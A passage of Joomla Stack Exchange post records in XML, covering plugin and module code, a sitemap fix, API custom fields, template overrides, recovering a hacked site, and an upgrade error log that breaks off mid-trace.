  <row Id="31674" PostTypeId="2" ParentId="31651" CreationDate="2021-11-18T11:04:19.520" Score="0" Body="&lt;p&gt;You can use &lt;code&gt;Sourcerer&lt;/code&gt; Extension for Joomla available here: &lt;a href=&quot;https://regularlabs.com/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://regularlabs.com/sourcerer&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This extension allows you to embed any HTML/CSS/JS/PHP on a simple article. To do so:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Upload your script(s) on a folder inside your Joomla structure&lt;/li&gt;&#xA;&lt;li&gt;Create a new article with this content and publish it:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;{source}&amp;lt;?php include JPATH_SITE.'/path/to/myfile.php'; {/source}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Add a menu entrie of this article if you want :)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15283" LastEditorUserId="15283" LastEditDate="2021-11-18T11:11:00.177" LastActivityDate="2021-11-18T11:11:00.177" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31675" PostTypeId="2" ParentId="31672" CreationDate="2021-11-18T15:25:01.710" Score="1" Body="&lt;p&gt;Patch is successful with caveats&lt;/p&gt;&#xA;&lt;p&gt;instead of using &lt;code&gt;text&lt;/code&gt; or &lt;code&gt;articletext&lt;/code&gt; the correct variables are &lt;code&gt;introtext&lt;/code&gt; and &lt;code&gt;fulltext&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To note in one test both &lt;code&gt;introtext&lt;/code&gt; &amp;amp; &lt;code&gt;fulltext&lt;/code&gt; did not work together but worked successfully when patching them separately. i concluded that only happened when updating text that was entered into site editor manually and not designated intro or full text.&lt;/p&gt;&#xA;&lt;p&gt;Subsequently, &lt;code&gt;introtext&lt;/code&gt; and &lt;code&gt;fulltext&lt;/code&gt; work successfully in all other cases.&lt;/p&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2021-11-18T15:25:01.710" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31676" PostTypeId="1" CreationDate="2021-11-18T17:40:05.663" Score="1" ViewCount="31" Body="&lt;p&gt;I have a module, that does some stuff and needs the data from the list model of my component. Everything is coded in MVC pattern using the Joomla framework.&lt;/p&gt;&#xA;&lt;p&gt;When clicking on a menu item the list model is outputting data to the view and displaying it. Just like an list of article items.&lt;/p&gt;&#xA;&lt;p&gt;Now i need that data in the module, but when writing something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$objects = BaseDatabaseModel::getInstance('Objects', 'MyModel', array('ignore_request' =&amp;gt; true));&#xA;$data = $objects-&amp;gt;getItems();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There is a new model instance created. Now my model does a lot performance heavy stuff and i need exactly the data that is allready created once and used in the listing output. Why create another instance and trigger the same query twice? I my case always creating a model object is not wanted.&lt;/p&gt;&#xA;&lt;p&gt;There is a nice article about the subject here, but no solution for getting a singleton instance is provided:&#xA;&lt;a href=&quot;https://magazine.joomla.org/all-issues/july-2014/why-the-poor-old-singleton-was-banned&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://magazine.joomla.org/all-issues/july-2014/why-the-poor-old-singleton-was-banned&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is there a singleton way to get the data of internal memory based cache Joomla Model is creating in another place like a module?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="15761" LastEditDate="2021-11-18T17:55:40.810" LastActivityDate="2021-11-18T17:55:40.810" Title="Getting allready created component model instance in a module (singleton)" Tags="|module|mvc|model|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31677" PostTypeId="1" AcceptedAnswerId="31681" CreationDate="2021-11-18T19:11:03.580" Score="1" ViewCount="27" Body="&lt;p&gt;I have trouble uploading OSMAP sitemaps to google because of a plugin I am using.&#xA;That plugin called autoanchor menu creates a menu based on titles in an article. really usefull for long articles.&lt;/p&gt;&#xA;&lt;p&gt;Anyway, the problem is that plugin will add an opening div and ending div to every page of joomla, even if the module is set to be used only on specific pages in the modules parameters.&lt;/p&gt;&#xA;&lt;p&gt;So the opening of my XML starts like that :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;auto-anchor-start-marker&amp;quot; style=&amp;quot;display:none&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&lt;p&gt;I'm looking for a way to have a php clause saying to avoid messing with the xml sitemap. If I disable the plugin, it works fine and the sitempa is accepted by google. Really lost here.&lt;/p&gt;&#xA;&lt;p&gt;here's the PHP file that is called :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @copyright   &#xA; * @license     GNU/GPL v2 or later http://www.gnu.org/licenses/gpl-2.0.html&#xA; */&#xA;&#xA;&#xA;// No direct access.&#xA;defined('_JEXEC') or die;&#xA;&#xA;jimport('joomla.plugin.plugin');&#xA;&#xA;class plgSystemJtricks_AutoAnchor extends JPlugin&#xA;{&#xA;    public function onAfterDispatch()&#xA;    {&#xA;        if (JFactory::getApplication()-&amp;gt;isAdmin())&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        // Adjust the component buffer.&#xA;        $doc = JFactory::getDocument();&#xA;        $buf = $doc-&amp;gt;getBuffer('component');&#xA;&#xA;        $buf = '&amp;lt;div class=&amp;quot;auto-anchor-start-marker&amp;quot; style=&amp;quot;display:none&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;' &#xA;            . $buf&#xA;            . '&amp;lt;div class=&amp;quot;auto-anchor-stop-marker&amp;quot; style=&amp;quot;display:none&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;        $doc-&amp;gt;setBuffer($buf, 'component');&#xA;       &#xA;        return;&#xA;    }&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or another php file :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @copyright   &#xA; * @license     GNU/GPL v2 or later http://www.gnu.org/licenses/gpl-2.0.html&#xA; */&#xA;&#xA;// no direct access&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addScript(JURI::root() . 'modules/mod_jtricks_autoanchor/autoanchormenu-1.11.js'); &#xA;&#xA;$beginningTop        = $params-&amp;gt;get('beginningTop');&#xA;$beginningTopText    = $params-&amp;gt;get('beginningTopText');&#xA;&#xA;$beginningBottom     = $params-&amp;gt;get('beginningBottom');&#xA;$beginningBottomText = $params-&amp;gt;get('beginningBottomText');&#xA;&#xA;for ($i = 1; $i &amp;lt;= 6; $i++)&#xA;{&#xA;    $hlevel[$i] = $params-&amp;gt;get('h' . $i . 'level');&#xA;}&#xA;&#xA;$endTop              = $params-&amp;gt;get('endTop');&#xA;$endTopText          = $params-&amp;gt;get('endTopText');&#xA;&#xA;$endBottom           = $params-&amp;gt;get('endBottom');&#xA;$endBottomText       = $params-&amp;gt;get('endBottomText');&#xA;&#xA;$class_sfx       = htmlspecialchars($params-&amp;gt;get('class_sfx'));&#xA;&#xA;$useSmoothScroll     = $params-&amp;gt;get('useSmoothScroll');&#xA;$smoothScrollX       = $params-&amp;gt;get('smoothScrollX');&#xA;$smoothScrollY       = $params-&amp;gt;get('smoothScrollY');&#xA;$namesFromHeaderText = $params-&amp;gt;get('namesFromHeaderText');&#xA;$showActive          = $params-&amp;gt;get('showActive');&#xA;$activeStyle         = $params-&amp;gt;get('activeStyle');&#xA;&#xA;$cssOverride         = $params-&amp;gt;get('cssOverride');&#xA;$verticalMargin      = $params-&amp;gt;get('verticalMargin');&#xA;$useTrackPage        = $params-&amp;gt;get('useTrackPage') == '1';&#xA;$useTrackEvent       = $params-&amp;gt;get('useTrackEvent') == '1';&#xA;$useJsLibrary        = $params-&amp;gt;get('useJsLibrary');&#xA;$useSpecialMooMore   = $params-&amp;gt;get('useSpecialMooMore');&#xA;&#xA;if (strlen($cssOverride) &amp;gt; 0)&#xA;    $document-&amp;gt;addStyleDeclaration($cssOverride);&#xA;&#xA;if ($useSmoothScroll == 1 &amp;amp;&amp;amp; $useSpecialMooMore == '1')&#xA;    $document-&amp;gt;addScript(JURI::root() . 'modules/mod_jtricks_autoanchor/mootools-more-1.4.0.1.js'); &#xA;else&#xA;    JHtml::_('behavior.framework', true);&#xA;&#xA;$autoAnchorId = 'autoanchormenu_' . $module-&amp;gt;id;&#xA;$autoAnchorModuleInit = &amp;quot;AutoAnchorMenu.moduleInit['&amp;quot;. $autoAnchorId . &amp;quot;']&amp;quot;;&#xA;$ulSelector = 'ul#' . $autoAnchorId;&#xA;&#xA;if (strlen($activeStyle) &amp;gt; 0)&#xA;    $document-&amp;gt;addStyleDeclaration($ulSelector . ' li.active a.auto_anchor_menu_item {' . $activeStyle . '}');&#xA;&#xA;if (strlen($verticalMargin) &amp;gt; 0 &amp;amp;&amp;amp; $verticalMargin != '0')&#xA;    $document-&amp;gt;addStyleDeclaration(' a.auto_anchor { position:relative; top:' . strval(- intval($verticalMargin)) . 'px } ');&#xA;&#xA;$registerParams =&#xA;    ($useTrackPage ? ', true' : ', false') .&#xA;    ($useTrackEvent ? ', true' : ', false');&#xA;&#xA;$optionsEntryMarkup  = '&amp;lt;li class=&amp;quot;$clazz$&amp;quot;&amp;gt;&amp;lt;a class=&amp;quot;auto_anchor_menu_item&amp;quot; href=&amp;quot;#anchor&amp;quot; onclick=&amp;quot;AutoAnchorMenu.registerClick(this' . $registerParams . ')&amp;quot;&amp;gt;$title$&amp;lt;/a&amp;gt;';&#xA;$optionsEntryPostfix = '&amp;lt;/li&amp;gt;';&#xA;$optionsLevelDown    = '&amp;lt;ul&amp;gt;';&#xA;$optionsLevelUp      = '&amp;lt;/ul&amp;gt;';&#xA;$optionsShowActive   = $showActive == 1 ? 'true' : 'false';&#xA;&#xA;// Gantry-based templates have special rendering for mod_menu&#xA;// We need to repeat that in order to match Gantry-based template menu module visuals.&#xA;&#xA;$templateName   = JFactory::getApplication()-&amp;gt;getTemplate();&#xA;$gantryFileName = JRoute::_('templates/'.$templateName).&amp;quot;/lib/gantry/gantry.php&amp;quot;;&#xA;&#xA;if (file_exists($gantryFileName))&#xA;{&#xA;    $optionsEntryMarkup  = '&amp;lt;li class=&amp;quot;parent $clazz$&amp;quot;&amp;gt;&amp;lt;a class=&amp;quot;auto_anchor_menu_item&amp;quot; href=&amp;quot;#anchor&amp;quot; onclick=&amp;quot;AutoAnchorMenu.registerClick(this' . $registerParams . ')&amp;quot;&amp;gt;&amp;lt;span&amp;gt;$title$&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;';&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;!-- BEGIN: AutoAnchor Menu ( --&amp;gt;&#xA;&amp;lt;ul id=&amp;quot;&amp;lt;?php echo $autoAnchorId;?&amp;gt;&amp;quot; class=&amp;quot;menu&amp;lt;?php echo $class_sfx;?&amp;gt;&amp;quot;&amp;gt;&amp;lt;li style=&amp;quot;display:none&amp;quot;&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&#xA;//&amp;lt;![CDATA[&#xA;    if (AutoAnchorMenu.moduleInit == undefined)&#xA;        AutoAnchorMenu.moduleInit = {};&#xA;&#xA;    if (AutoAnchorMenu.moduleInitComplete == undefined)&#xA;        AutoAnchorMenu.moduleInitComplete = {};&#xA;&#xA;    &amp;lt;?php echo $autoAnchorModuleInit;?&amp;gt; = function ()&#xA;        {&#xA;            if (AutoAnchorMenu.moduleInitComplete['&amp;lt;?php echo $autoAnchorId;?&amp;gt;'])&#xA;                return;&#xA;            &#xA;            AutoAnchorMenu.moduleInitComplete['&amp;lt;?php echo $autoAnchorId;?&amp;gt;'] = true;&#xA;            &#xA;            AutoAnchorMenu('&amp;lt;?php echo $autoAnchorId;?&amp;gt;',&#xA;                {&#xA;&amp;lt;?php&#xA;if ($namesFromHeaderText != '1')&#xA;    echo 'namesFromHeaderText: false,';&#xA;?&amp;gt;&#xA;                    entryMarkup:     '&amp;lt;?php echo $optionsEntryMarkup; ?&amp;gt;',&#xA;                    entryPostfix:    '&amp;lt;?php echo $optionsEntryPostfix; ?&amp;gt;',&#xA;                    levelDown:       '&amp;lt;?php echo $optionsLevelDown; ?&amp;gt;',&#xA;                    levelUp:         '&amp;lt;?php echo $optionsLevelUp; ?&amp;gt;',&#xA;                    showActive:      &amp;lt;?php echo $optionsShowActive; ?&amp;gt;,&#xA;                    handledProperty: 'autoAnchorGathered'&#xA;                })&#xA;&amp;lt;?php&#xA;&#xA;if ($beginningTop == '1')&#xA;    echo &amp;quot;.scatterTop('&amp;quot; . $beginningTopText . &amp;quot;')&amp;quot;;&#xA;if ($beginningBottom == '1')&#xA;    echo &amp;quot;.scatterBottom('&amp;quot; . $beginningBottomText . &amp;quot;')&amp;quot;;&#xA;if ($beginningTop == '1' || $beginningBottom == '1')&#xA;    echo &amp;quot;.gather()&amp;quot;;&#xA;&#xA;for ($i = 1; $i &amp;lt;= 6; $i++)&#xA;{&#xA;    if ($hlevel[$i] != '0')&#xA;        echo &amp;quot;.scatter('h&amp;quot; . $i . &amp;quot;', &amp;quot; . $hlevel[$i] . &amp;quot;)&amp;quot;;&#xA;}&#xA;&#xA;&#xA;echo &amp;quot;.gather()&amp;quot;;&#xA;&#xA;if ($endTop == '1')&#xA;    echo &amp;quot;.scatterTop('&amp;quot; . $endTopText . &amp;quot;')&amp;quot;;&#xA;if ($endBottom == '1')&#xA;    echo &amp;quot;.scatterBottom('&amp;quot; . $endBottomText . &amp;quot;')&amp;quot;;&#xA;if ($endTop == '1' || $endBottom == '1')&#xA;    echo &amp;quot;.gather()&amp;quot;;&#xA;if ($showActive == 1)&#xA;    echo &amp;quot;.selectActive()&amp;quot;;&#xA;&#xA;&#xA;?&amp;gt;&#xA;            ;&#xA;&amp;lt;?php&#xA;if ($smoothScrollX == 1 &amp;amp;&amp;amp; $smoothScrollY == 1)&#xA;    $smoothScrollAxes = &amp;quot;['x', 'y']&amp;quot;;&#xA;else if ($smoothScrollX == 1)&#xA;    $smoothScrollAxes = &amp;quot;'x'&amp;quot;;&#xA;else if ($smoothScrollY == 1)&#xA;    $smoothScrollAxes = &amp;quot;'y'&amp;quot;;&#xA;else&#xA;    $smoothScrollAxes = &amp;quot;''&amp;quot;;&#xA;&#xA;echo &amp;quot;if (location.hash != undefined) location.hash = '' + location.hash;&amp;quot;;&#xA;&#xA;if ($useSmoothScroll == 1)&#xA;    echo &amp;quot;new Fx.SmoothScroll({ links: '.auto_anchor_menu_item', axes: &amp;quot; . $smoothScrollAxes . &amp;quot;});&amp;quot;;&#xA;?&amp;gt;&#xA;        };&#xA;&#xA;    if (window.jQuery)&#xA;        jQuery(&amp;lt;?php echo $autoAnchorModuleInit;?&amp;gt;);&#xA;    &#xA;    window.addEvent('domready', &amp;lt;?php echo $autoAnchorModuleInit;?&amp;gt;);&#xA;    window.addEvent('load', &amp;lt;?php echo $autoAnchorModuleInit;?&amp;gt;);&#xA;&#xA;//]]&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I guess these are the files where to do this.&lt;/p&gt;&#xA;&lt;p&gt;please help ;) ;)&lt;/p&gt;&#xA;" OwnerUserId="15909" LastActivityDate="2021-11-19T09:53:12.017" Title="php exclusion in a joomla plugin of the xml sitemap page created by OSMAP" Tags="|php|javascript|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31678" PostTypeId="1" AcceptedAnswerId="31740" CreationDate="2021-11-18T19:54:44.733" Score="2" ViewCount="334" Body="&lt;p&gt;Simply put when using the API to update a custom field of an article, the new information is not successfully passed through. Furthermore, the original contents are deleted from the field.&lt;/p&gt;&#xA;&lt;p&gt;The deletion of the original field contents does tell me that the field can be affected. It would be problematic if custom fields can not be updated via the API. So I am also curious if custom fields have something more that needs to be appended to the name in order for it to work. Such as what is needed for the article text field to be updated via API, since that uses &lt;code&gt;fulltext&lt;/code&gt; and &lt;code&gt;introtext&lt;/code&gt; instead of &lt;code&gt;text&lt;/code&gt; and &lt;code&gt;articletext&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.awesomescreenshot.com/video/6072785?key=17dbb35dc059a36e703e7578ff740283&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video example&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2021-12-08T18:04:00.047" Title="Are custom fields updatable using joomla 4 api?" Tags="|joomla-api|custom-field|joomla-4.x|joomla-4|restful-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31679" PostTypeId="1" AcceptedAnswerId="31680" CreationDate="2021-11-03T21:55:52.530" Score="1" ViewCount="321" Body="&lt;p&gt;My friend's website powered by Joomla was hacked and I want to fix it. I decided to keep all of the user's files and folders (images, plugins, themes) and remove anything else, then check the kept files and folders for suspicious files. After that, I downloaded a fresh copy of Joomla files and folders.&lt;/p&gt;&#xA;&lt;p&gt;In WordPress, all user files are stored in the &lt;code&gt;wp-content&lt;/code&gt; folder, but I'm not familiar with the Joomla file system. Where does Joomla store such files?&lt;/p&gt;&#xA;" OwnerUserId="15859" OwnerDisplayName="Ahmad M" LastEditorUserId="12352" LastEditDate="2021-11-21T22:11:21.557" LastActivityDate="2021-11-21T22:11:21.557" Title="Where does Joomla store user files and folders?" Tags="|content|hacked|software-architecture|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31680" PostTypeId="2" ParentId="31679" CreationDate="2021-11-16T12:15:14.193" Score="1" Body="&lt;p&gt;It's not clear to me what you mean by user. Also you do not specify which version or 3rd party extensions you use.&lt;/p&gt;&#xA;&lt;h3&gt;The following is true for Joomla 2 and 3:&lt;/h3&gt;&#xA;&lt;p&gt;A user registered to your friends website does not have a specific folder for each user. The Mediamanager let every user, including your friend, with access to it see just everything what everybody else can see. By default this is the /images folder in the webspace root.&lt;/p&gt;&#xA;&lt;p&gt;If you mean with user a developer of the website with file access to the webspace via FTP, SSH or else, then there are multiple locations. Because you asked this question, I think neither you nor your friend have basic understanding in creating a module or component (no offense). So here are the most likely folders which you should backup:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/administrator/templates/&amp;lt;name_of_backend_template&amp;gt;&lt;/li&gt;&#xA;&lt;li&gt;/images&lt;/li&gt;&#xA;&lt;li&gt;/templates/&amp;lt;name_of_frontend_template&amp;gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If someone overrided an extension, the override should lie inside the template.&lt;/p&gt;&#xA;&lt;p&gt;If your friend has custom extensions, then there would be a lot more possible locations. You should ask him about that. That could be a plugin, library, component or module. They all have there own folders in frontend and/or backend.&lt;/p&gt;&#xA;&lt;h4&gt;Edit:&lt;/h4&gt;&#xA;&lt;p&gt;There is no folder were user changes are made or extensions installed. The closest one would be the template folders. But there are only the overrides of core-files, if made. Nothing is placed there automatically.&lt;/p&gt;&#xA;&lt;p&gt;If I were you, and I have been there a lot due to my work, I would install a fresh Joomla to a different webfolder/webspace or my own localhost and copy the &lt;strong&gt;database&lt;/strong&gt; and Joomla's &lt;strong&gt;configuration.php&lt;/strong&gt;. Compare the configuration with a default one to make sure, there are no strange things in there. It contains only a JConfig class with public members. No constructor or functions.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;/images&lt;/strong&gt; folder should only contain images, videos, documents and an index.html. If so, I copy all but the index.html inside /images to the fresh Joomla. &lt;strong&gt;WARNING: Even images, svgs, documents, pdfs, ... can contain malicious code&lt;/strong&gt; I have seen that already.&lt;/p&gt;&#xA;&lt;p&gt;Then I would check which extensions were installed, still needed and do a fresh install (no copy) of them. Chances are high, that I already have a running Joomla with up-to-date extensions. An now come the tricky part.&lt;/p&gt;&#xA;&lt;p&gt;In my experience, Joomlas are not hacked via the template. So they should be fine. But to be sure:&#xA;Normally no one should change the core templates by Joomla. That are hathor and isis for the backend and protostar and beez for the frontend. Joomla installs them by default in the locations I mentioned way up. If changes were made, I would get angry and a cup of coffee because I now have to compare file by file. In a very complex template this can take hours. An IDE with compare functionallity is really helpfull here.&lt;/p&gt;&#xA;&lt;p&gt;If a 3rd party template is used, I also would do a fresh install and compare the content of the folders. If I am lucky, changes to this template were made only via the backend. If not, get another cup of coffee.&lt;/p&gt;&#xA;&lt;p&gt;If it is a custom template, I go trough file by file and look for suspicious parts. Custom templates often does not contain many files.&lt;/p&gt;&#xA;" OwnerUserId="15904" OwnerDisplayName="aProgger" LastActivityDate="2021-11-19T09:24:57.120" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31681" PostTypeId="2" ParentId="31677" CreationDate="2021-11-19T09:53:12.017" Score="0" Body="&lt;p&gt;Inside the plugin, right after fetching the document add document type check so it only runs on HTML pages:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($doc-&amp;gt;getType() !== 'html')&#xA;{&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (!$doc instanceof Joomla\CMS\Document\HtmlDocument)&#xA;{&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-11-19T09:53:12.017" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31682" PostTypeId="1" CreationDate="2021-11-19T11:37:40.547" Score="0" ViewCount="101" Body="&lt;p&gt;I'm new in the joomla world and I don't know very well how to style a form created with fabrik, I don't know where to add the styles or anything.&#xA;If you can guide me it would be of great help.&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance to all of you!&lt;/p&gt;&#xA;" OwnerUserId="15911" LastActivityDate="2021-11-19T11:37:40.547" Title="How to style a Fabrik (Joomla) form?" Tags="|joomla-3.x|css|fabrik|style|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31683" PostTypeId="1" CreationDate="2021-11-19T19:07:06.230" Score="1" ViewCount="34" Body="&lt;p&gt;I need to override an administrator layout, and the override needs to be easily reproducible in different Joomla installations. Currently, we are using extensions to achieve reproducibility. However, my understanding of template overrides is:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;They must live in a template&lt;/li&gt;&#xA;&lt;li&gt;Only one admin template can be active at once&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Due to the second restriction, it seems I can't just create an empty template and put the override in that.&lt;/p&gt;&#xA;&lt;p&gt;The override works if I place it inside the default Isis template, but I have concerns with this approach:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The template could get updated. &lt;a href=&quot;https://joomla.stackexchange.com/questions/17765/are-administrator-layout-overrides-lost-in-systems-templates-on-joomlas-update&quot;&gt;This question&lt;/a&gt; suggests this shouldn't be a problem, but we are still trying to avoid modifying the default Joomla code as much as possible to avoid problems with upgrades.&lt;/li&gt;&#xA;&lt;li&gt;We may want to swap out the backend template in the future. Ideally, none of our custom code would be tied to it.&lt;/li&gt;&#xA;&lt;li&gt;Doing this adds extra complication to the installation process.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;What is the recommended way to reproducibly override an administrator layout? Is modifying an existing template the only way?&lt;/p&gt;&#xA;" OwnerUserId="15864" LastActivityDate="2021-11-26T18:11:36.720" Title="What is the recommended way to reproducibly override an administrator layout?" Tags="|joomla-3.x|templates|overrides|template-override|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31684" PostTypeId="1" CreationDate="2021-11-21T20:54:18.863" Score="0" ViewCount="157" Body="&lt;p&gt;When using the shortcode (example &lt;code&gt;{field34}&lt;/code&gt;) for a field in the Article editor text area the field content is not showing on the front end.&lt;/p&gt;&#xA;&lt;p&gt;I entered the fields manually and also used the dropdown and selected the field from the list.&lt;/p&gt;&#xA;&lt;p&gt;Is there a setting that designates when field short codes should be rendered or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2021-12-09T02:09:06.273" Title="What would keep custom fields from rendering in the frontend on Joomla 4" Tags="|custom-field|joomla-4.x|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31685" PostTypeId="1" CreationDate="2021-11-21T23:32:31.587" Score="0" ViewCount="10" Body="&lt;p&gt;I'm using Joomla 3.9.  Position 7 is to the right for the Edge browser, but on the bottom for Chrome.  How do I make sure it's on the right for all browsers?&lt;/p&gt;&#xA;&lt;p&gt;Edge&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XviVM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XviVM.png&quot; alt=&quot;Image showing position 7 to the right of my featured article when viewed with Edge Browser&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Chrome&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1yBdk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1yBdk.png&quot; alt=&quot;Image showing position 7 under my featured article when viewed with Chrome Browser&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15915" LastActivityDate="2021-11-21T23:32:31.587" Title="Why are my positions in different places when viewed in different browsers for the Protostar Joomla template?" Tags="|joomla-3.x|protostar|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31686" PostTypeId="1" AcceptedAnswerId="31765" CreationDate="2021-11-22T17:23:50.907" Score="1" ViewCount="400" Body="&lt;p&gt;I'm using Cassiopeia and Joomla 4.  I've adapted it very slightly to get to what I need but I really want to use a much smaller image size by using an SVG.&lt;/p&gt;&#xA;&lt;p&gt;Is there any way to do this?  Previously you could just type in the correct image address but it doesn't allow you to do that in Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/web4f.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/web4f.png&quot; alt=&quot;Joomla 4 Cassiopeia logo input&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2021-12-21T19:20:19.600" Title="Is there a way to use an SVG image in Cassiopeia" Tags="|templates|images|cassiopeia|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31687" PostTypeId="1" CreationDate="2021-11-23T11:22:54.743" Score="1" ViewCount="26" Body="&lt;p&gt;We have noticed that we are unable to save certain links in our articles if they contain a specific sequence of numbers. i.e. a link: &lt;code&gt;https://www.nature.com/articles/s41893-020-00622-1&lt;/code&gt; will be changed to &lt;code&gt;https://www.nature.com/articles/s***********0622-1&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;It doesn't matter if it's a website link, it also works with only the &lt;code&gt;41893-020-00622-1&lt;/code&gt; sequence of numbers. It will be replaced with &lt;code&gt;***********0622-1&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I've tried a new empty Joomla 3 installation and different wysiwyg editors (TinyMCE, JCE) but the problem is still there.&lt;/p&gt;&#xA;&lt;p&gt;Could some of you please try to replicate the problem by saving for instance &amp;quot;s41893-020-00622-1&amp;quot; into a body of an article? A simple plain text is enough.&#xA;Any idea what could cause this? We have had this issue for a very long time, at least a couple of years.&lt;/p&gt;&#xA;" OwnerUserId="15917" LastEditorUserId="15917" LastEditDate="2021-11-25T13:52:20.070" LastActivityDate="2023-12-16T22:05:35.680" Title="Joomla wysiwyg keeps replacing certain sequences of numbers by asterisks on save" Tags="|content|jce|tinymce|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31688" PostTypeId="1" AcceptedAnswerId="31691" CreationDate="2021-11-23T16:45:33.023" Score="1" ViewCount="1612" Body="&lt;p&gt;I updated to Joomla 4! and the site displays an error. Here is a snippet of the debug log.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;2021-11-23T16:27:43+00:00   CRITICAL ::1    error   Uncaught Throwable of type Error thrown with message &amp;quot;Call to undefined method Joomla\CMS\Application\SiteApplication::isSite()&amp;quot;. Stack trace: #0 D:\xampp\htdocs\test-web\libraries\src\Plugin\CMSPlugin.php(285): plgContentEDSAnimate-&amp;gt;onContentPrepare('com_content.fea...', Object(stdClass), Object(Joomla\Registry\Registry), 0)&#xA;    #1 D:\xampp\htdocs\test-web\libraries\vendor\joomla\event\src\Dispatcher.php(486): Joomla\CMS\Plugin\CMSPlugin-&amp;gt;Joomla\CMS\Plugin\{closure}(Object(Joomla\Event\Event))&#xA;    #2 D:\xampp\htdocs\test-web\libraries\src\Application\EventAware.php(111): 